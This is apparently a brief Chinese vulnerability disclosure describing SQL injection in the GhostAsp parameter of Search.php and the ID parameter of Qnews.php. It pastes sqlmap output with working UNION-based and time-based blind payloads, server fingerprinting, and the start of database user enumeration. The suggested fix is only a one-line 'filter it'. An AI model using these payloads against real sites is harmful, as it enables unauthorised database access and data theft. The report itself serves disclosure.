Search.php文件：

GhostAsp参数过滤不严厉，直接带入了查询。



Qnews.php文件：

ID参数过滤不严，直接带入差。
 

---
Place: GET
Parameter: GhostAsp
    Type: UNION query
    Title: MySQL UNION query (NULL) - 9 columns
    Payload: LM=Newspaper&Key=1&GhostAsp=Title UNION ALL SELECT CONCAT(0x7172746871,0x616874524d526d64634e,0x7177787171),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#&BtnSearch= 

    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind
    Payload: LM=Newspaper&Key=1&GhostAsp=Title AND SLEEP(5)&BtnSearch= 
---
[17:01:44] [INFO] the back-end DBMS is MySQL
web server operating system: Windows
web application technology: Apache 2.2.11, PHP 5.2.8
back-end DBMS: MySQL 5.0.11
[17:01:44] [INFO] fetching database users

案例还是蛮多的啦。

就不一一测试了。
 

修复方案：

过滤哦，亲~